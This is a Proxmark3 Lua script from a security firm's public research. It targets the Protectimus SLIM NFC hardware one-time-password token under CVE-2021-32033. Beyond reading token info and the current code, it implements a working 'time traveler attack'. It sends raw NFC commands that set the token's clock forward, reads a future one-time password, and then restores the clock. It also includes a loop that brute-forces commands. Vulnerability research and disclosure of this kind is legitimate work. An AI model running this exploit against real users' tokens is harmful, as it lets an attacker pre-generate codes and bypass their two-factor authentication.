added more keys (@equipter)
[RRG-proxmark3.git] / client / luascripts / hf_14a_protectimus_nfc.lua
blob2ff3fec06f303caec156888674fbc0fd1b118ba4
1 local cmds = require('commands')
2 local getopt = require('getopt')
3 local lib14a = require('read14a')
4 local utils = require('utils')
5 local ansicolors = require('ansicolors')
7 copyright = '(c) 2021 SySS GmbH'
8 author = 'Matthias Deeg'
9 version = 'v0.8'
10 desc = [[
11 This script can perform different operations on a Protectimus SLIM NFC
12 hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
14 example = [[
15 -- default
16 script run hf_14a_protectimus_nfc
18 usage = [[
19 script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
21 arguments = [[
22 -h This help
23 -i Read token info (e.g. firmware version, OTP interval)
24 -r Read the current one-time password (OTP)
25 -t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
26 e.g. 2029-01-01T13:37:00+01:00
29 -- Some globals
30 local DEBUG = false -- the debug flag
32 -- Defined operations
33 local READ_OTP = 1 -- read the one-time password
34 local READ_INFO = 2 -- read the NFC token info
35 local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
37 -- A debug printout function
38 local function dbg(args)
39 if not DEBUG then return end
40 if type(args) == 'table' then
41 local i = 1
42 while args[i] do
43 dbg(args[i])
44 i = i + 1
45 end
46 else
47 print('###', args)
48 end
49 end
51 -- This is only meant to be used when errors occur
52 local function oops(err)
53 print('ERROR:', err)
54 core.clearCommandBuffer()
55 return nil, err
56 end
58 -- Usage help
59 local function help()
60 print(copyright)
61 print(author)
62 print(version)
63 print(desc)
64 print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
65 print(usage)
66 print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
67 print(arguments)
68 print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
69 print(example)
70 end
72 -- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
73 function getUnixTime(datetime)
75 -- get time delta regarding Coordinated Universal Time (UTC)
76 local now_local = os.time()
77 local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
78 local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
80 -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
81 local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
82 local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
84 if new_year == nil or new_month == nil or new_day == nil or
85 new_hour == nil or new_minute == nil or new_seconds == nil or
86 new_hour_offset == nil or new_minute_offset == nil then
88 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
89 " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
90 " e.g. 2029-01-01T13:37:00+01:00")
91 return nil
92 end
94 -- get the requested datetime as Unix time (UTC)
95 local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
96 min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
98 return epoch
99 end
101 -- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
102 function sendRaw(rawdata, options)
104 -- send raw
105 local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
106 + lib14a.ISO14A_COMMAND.ISO14A_RAW
107 + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
109 local command = Command:newMIX{
110 cmd = cmds.CMD_HF_ISO14443A_READER,
112 -- arg1 is the defined flags for sending "raw" ISO 14443A package
113 arg1 = flags,
115 -- arg2 contains the length, which is half the length of the ASCII
116 -- string data
117 arg2 = string.len(rawdata) / 2,
118 data = rawdata
121 return command:sendMIX(options.ignore_response)
124 -- Read the current one-time password (OTP)
125 function readOTP(show_output)
126 -- read OTP command
127 local cmd = "028603420042"
128 local otp_value = ''
130 if show_output then
131 print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
134 -- send the raw command
135 res, err = sendRaw(cmd , {ignore_response = ignore_response})
136 if err then
137 lib14a.disconnect()
138 return oops(err)
141 -- parse the response
142 local cmd_response = Command.parse(res)
143 local len = tonumber(cmd_response.arg1) * 2
144 local data = string.sub(tostring(cmd_response.data), 0, len - 4)
146 -- check the response
147 if len == 0 then
148 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
149 return nil
152 if data:sub(0, 8) == "02AA0842" then
153 -- extract the binary-coded decimal (BCD) OTP value from the response
154 for i = 10, #data - 2, 2 do
155 local c = data:sub(i, i)
156 otp_value = otp_value .. c
159 -- show the output if requested
160 if show_output then
161 print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
163 else
164 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
165 otp_value = nil
168 return otp_value
171 -- Read token info
172 function readInfo(show_output)
173 -- read info command
174 local cmd = "0286021010"
176 if show_output then
177 print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
180 -- send the raw command
181 res, err = sendRaw(cmd , {ignore_response = ignore_response})
182 if err then
183 lib14a.disconnect()
184 return oops(err)
187 -- parse the response
188 local cmd_response = Command.parse(res)
189 local len = tonumber(cmd_response.arg1) * 2
190 local data = string.sub(tostring(cmd_response.data), 0, len - 4)
192 -- check the response
193 if len == 0 then
194 print("[-] Error: Could not read the token info")
195 return nil
198 if data:sub(0, 8) == "02AA0B10" then
199 -- extract the token info from the response
200 local hardware_schema = tonumber(data:sub(11, 12))
201 local firmware_version_major = tonumber(data:sub(13, 14))
202 local firmware_version_minor = tonumber(data:sub(13, 14))
203 local hardware_rtc = tonumber(data:sub(19, 20))
204 local otp_interval = tonumber(data:sub(23, 24))
206 local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
207 " Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
208 " Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
209 " Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
210 " OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
212 -- check hardware real-time clock (RTC)
213 if hardware_rtc == 1 then
214 hardware_rtc = true
215 else
216 hardware_rtc = false
219 -- check one-time password interval
220 if otp_interval == 0 then
221 otp_interval = '30'
222 elseif otp_interval == 10 then
223 otp_interval = '60'
224 else
225 otp_interval = 'unknown'
228 if show_output then
229 -- show the token info
230 print(string.format(info, hardware_schema, firmware_version_major,
231 firmware_version_minor, hardware_rtc,
232 otp_interval))
235 return otp_interval
236 else
237 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
238 otp_value = nil
241 return info
244 -- Bruteforce commands
245 function bruteforceCommands()
246 -- read OTP command
247 local cmd = ''
249 if show_output then
250 print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
253 for n = 0, 255 do
254 cmd = string.format("028602%d%d", n)
256 print(string.format("[+] Send command %s", cmd))
258 -- send the raw command
259 res, err = sendRaw(cmd , {ignore_response = ignore_response})
260 if err then
261 lib14a.disconnect()
262 return oops(err)
265 -- parse the response
266 local cmd_response = Command.parse(res)
267 local len = tonumber(cmd_response.arg1) * 2
268 local data = string.sub(tostring(cmd_response.data), 0, len - 4)
270 -- check the response
271 if len == 0 then
272 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
273 else
274 print(data)
277 io.read(1)
282 -- Set an arbitrary Unix time (epoch)
283 function setTime(time, otp_interval)
284 -- calculate the two required time variables
285 local time_var1 = math.floor(time / otp_interval)
286 local time_var2 = math.floor(time % otp_interval)
288 -- build the raw command data
289 local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
291 -- calculate XOR checksum on data
292 local checksum = 0
293 for i = 1, #data, 2 do
294 local c = data:sub(i, i + 1)
295 checksum = bit32.bxor(checksum , tonumber(c, 16))
298 -- build the complete raw command
299 local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
301 print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
303 -- send raw command
304 res, err = sendRaw(cmd , {ignore_response = ignore_response})
305 if err then
306 lib14a.disconnect()
307 return oops(err)
310 -- parse the response
311 local cmd_response = Command.parse(res)
312 local len = tonumber(cmd_response.arg1) * 2
313 local data = string.sub(tostring(cmd_response.data), 0, len - 4)
316 -- Set the current time
317 function setCurrentTime(otp_interval)
318 -- get the current Unix time (epoch)
319 local current_time = os.time(os.date("*t"))
320 setTime(current_time, otp_interval)
323 -- Perform a time travel attack for generating a future OTP
324 function timeTravelAttack(datetime_string, otp_interval)
325 if nil == datetime_string then
326 print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
327 return nil
330 -- get the future time as Unix time
331 local future_time = getUnixTime(datetime_string)
333 if nil == future_time then
334 return
337 -- set the future time
338 setTime(future_time, otp_interval)
340 print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
341 -- while loop do
342 io.read(1)
344 -- read the OTP
345 local otp = readOTP(false)
346 print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
347 ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
348 ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
350 -- reset the current time
351 setCurrentTime(otp_interval)
354 -- Show a fancy banner
355 function banner()
356 print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
357 "Perform different operations on a Protectimus SLIM NFC hardware token", version))
360 -- The main entry point
361 function main(args)
362 local ignore_response = false
363 local no_rats = false
364 local operation = READ_OTP
365 local target_time = nil
367 -- show a fancy banner
368 banner()
370 -- read the parameters
371 for o, a in getopt.getopt(args, 'hirt:b') do
372 if o == 'h' then return help() end
373 if o == 'i' then operation = READ_INFO end
374 if o == 'r' then operation = READ_OTP end
375 if o == 't' then
376 operation = TIME_TRAVELER_ATTACK
377 target_time = a
379 if o == 'b' then bruteforceCommands() end
382 -- connect to the TOTP hardware token
383 info, err = lib14a.read(true, no_rats)
384 if err then
385 lib14a.disconnect()
386 return oops(err)
389 -- show tag info
390 print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
392 -- perform the requested operation
393 if operation == READ_OTP then
394 readOTP(true)
395 elseif operation == READ_INFO then
396 readInfo(true)
397 elseif operation == TIME_TRAVELER_ATTACK then
398 -- read token info and get OTP interval
399 local otp_interval = readInfo(false)
400 if nil == otp_interval then
401 return
403 -- perform time traveler attack
404 timeTravelAttack(target_time, otp_interval)
407 -- disconnect
408 lib14a.disconnect()
411 -------------------------
412 -- Testing
413 -------------------------
414 function selftest()
415 DEBUG = true
416 dbg('Performing test')
417 main()
418 dbg('Tests done')
420 -- Flip the switch here to perform a sanity check.
421 -- It read a nonce in two different ways, as specified in the usage-section
422 if '--test' == args then
423 selftest()
424 else
425 -- Call the main
426 main(args)